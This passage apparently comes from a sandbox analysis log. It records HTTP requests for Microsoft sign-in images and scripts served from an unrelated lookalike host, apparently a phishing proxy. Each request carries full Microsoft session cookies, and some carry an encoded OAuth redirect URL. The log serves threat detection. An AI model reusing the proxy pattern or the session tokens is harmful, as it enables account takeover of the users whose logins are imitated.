Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_presetpasswordsplitter_2e62c59c862fb482c11d.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; 